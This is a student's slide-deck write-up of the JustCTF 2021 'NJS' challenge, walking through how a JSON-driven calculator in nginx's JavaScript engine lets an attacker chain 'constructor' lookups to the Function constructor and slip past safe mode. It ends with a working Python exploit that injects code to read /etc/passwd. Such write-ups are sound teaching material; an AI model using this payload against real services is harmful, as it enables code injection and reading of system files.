JustCTF 2021

Challenge Discussion : NJS

Yadhu Krishna M, S4 CSE

February 2, 2021

Contents

1. Introduction
   - What is NJS?
2. Challenge
   - Source Code
3. Analysis
4. Exploit
   - How this worked?
5. Final Exploit

Introduction

What is NJS ?

1. Subset of the JavaScript language
2. Created with ECMAScript 5.1
3. Extending nginx functionality

Uses of NJS

1. Manipulating response headers
2. Complex access control and security checks

Source Code

```
var Calculator = function (result) {
    this.result = result;
};

Calculator.prototype.addEquation = function (op, x, y) {
    this.result = this[op](x, y);
    return this.result
};

Calculator.prototype.toString = function (prop) {
    if (prop) {
        return this.result[prop]
    }
    return this.result;
};

Calculator.prototype.add = function (x, y) {
    if (y != null)
        return x + y;
    return this.result + x;
};
Calculator.prototype.sub = function (x, y) {
    if (y != null)
        return x - y;
    return this.result - x;
};
```

Source Code

```
1  // GET /
2  // POST /
3  function handlerCalc(r) {
4      r.headersOut['Content-Type'] = 'text/html';
5      if (r.method !== "POST") {
6          r.return(200, template());
7          return;
8      }
9
10     try {
11         var data = r.requestBody;
12         var calc = new Calculator(0);
13         var calls = JSON.parse(data);
14         for (var i = 0; i < calls.length; i++) {       // For each lines in JSON input
15             var call = calls[i];
16             calc.addEquation(call.op, call.x, call.y);
17         }
18         r.return(200, calc.toString());
19     } catch (e) {
20         r.return(500, e.toString());
21     }
22 }
```

Analysis

```
curl 'http://jd95b0mxhl8876plchnf4t8h8s8711.njs.web.jctf.pro/' \
   --data-raw '[{"op":["hasOwnProperty"],"x":7,"y":7}]'
```

```
imp3riOn@manjaro~> curl 'http://wieacvr3f3ljtc4yecentwbryzpje7.njs.web.jctf.pro/
' --data-raw '[{"op":["hasOwnProperty"],"x":7,"y":7}]'
false
imp3riOn@manjaro~> curl 'http://wieacvr3f3ljtc4yecentwbryzpje7.njs.web.jctf.pro/
' --data-raw '[{"op":["isPrototypeOf"],"x":7,"y":7}]'
false
imp3riOn@manjaro~>
```

```
        var calc = new Calculator(0);
        var calls = JSON.parse(data);
        for (var i = 0; i < calls.length; i++) {        // For each lines in JSON input
            var call = calls[i];
            calc.addEquation(call.op, call.x, call.y);
        }
```

Exploit

```
var calc = new Calculator(0);
console.log(calc.addEquation("toString", "constructor"))
console.log(calc.addEquation("toString", "constructor"))
console.log(calc.addEquation("result", "){return require('fs').readFileSync('/test')})//", "return this"))
```

```
[Function: Number]
[Function: Function]
undefined:1
(function anonymous(){return require('fs').readFileSync('/test')})//
                    ^

SyntaxError: Arg string terminates parameters early
    at Calculator.Function [as result] (<anonymous>)
    at Calculator.addEquation (/home/imp3ri0n/Downloads/CTF/temp.js:6:27)
    at Object.<anonymous> (/home/imp3ri0n/Downloads/CTF/temp.js:18:18)
    at Module._compile (node:internal/modules/cjs/loader:1108:14)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1137:10)
    at Module.load (node:internal/modules/cjs/loader:973:32)
    at Function.Module._load (node:internal/modules/cjs/loader:813:14)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:76:12)
    at node:internal/main/run_main_module:17:47
```

Exploit Analysis - Part I

```
1     {"op": "toString", "x": "constructor"},
```

```
1  Calculator.prototype.addEquation = function (op, x, y)
       {
2      this.result = this[op](x, y);
3      return this.result
4  };
5
6  Calculator.prototype.toString = function (prop) {
7      if (prop) {
8          return this.result[prop]
9      }
10     return this.result;
11 };
```

1. this["toString"]("constructor",null)
2. => this.toString("constructor")
3. if (prop)
   return this.result["constructor"]
4. this.result == 0
   Returns Number

Exploit Analysis - Part II

```
1     {"op": "toString", "x": "constructor"},
```

```
1  Calculator.prototype.addEquation = function (op, x, y)
       {
2      this.result = this[op](x, y);
3      return this.result
4  };
5
6  Calculator.prototype.toString = function (prop) {
7      if (prop) {
8          return this.result[prop]
9      }
10     return this.result;
11 };
```

1. this["toString"]("constructor",null)
2. => this.toString("constructor")
3. if (prop)
   return this.result["constructor"]
4. this.result == Number Object
   Returns Number's constructor
   Returns Function

Exploit Analysis - Part III

```
{"op": "toString", "x": "constructor"},
{"op": "toString", "x": "constructor"},
{
    "op": "result",
    "x": "){return require('fs').readFileSync('/etc
          /passwd')})//",
    "y": "return this"
},
{"op": "result"}
```

```
/*
 * Safe mode exception:
 * "(new Function('return this'))" is often used to get
 * the global object in a portable way.
 */

if (str.length != njs_length("return this")
    || memcmp(str.start, "return this", 11) != 0)
{
    njs_type_error(vm, "function constructor is disabled"
                       " in \"safe\" mode");
    return NJS_ERROR;
}
```

```
Calculator.prototype.addEquation = function (op,
      x, y) {
    this.result = this[op](x, y);
    return this.result
};

Calculator.prototype.toString = function (prop) {
    if (prop) {
        return this.result[prop]
    }
    return this.result;
};
```

Final Exploit

exploit.py

```
import requests

hash = "wieacvr3f3ljtc4yecentwbryzpje7"
url = "http://{}.njs.web.jctf.pro/".format(hash)


data = [
    {"op": "toString", "x": "constructor"},
    {"op": "toString", "x": "constructor"},
    {
        "op": "result",
        "x": "){return require('fs').readFileSync('/etc/passwd')})//",
        "y": "return this"
    },
    {"op": "result"}
]
r = requests.post(url, json=data)
print(r.text)
```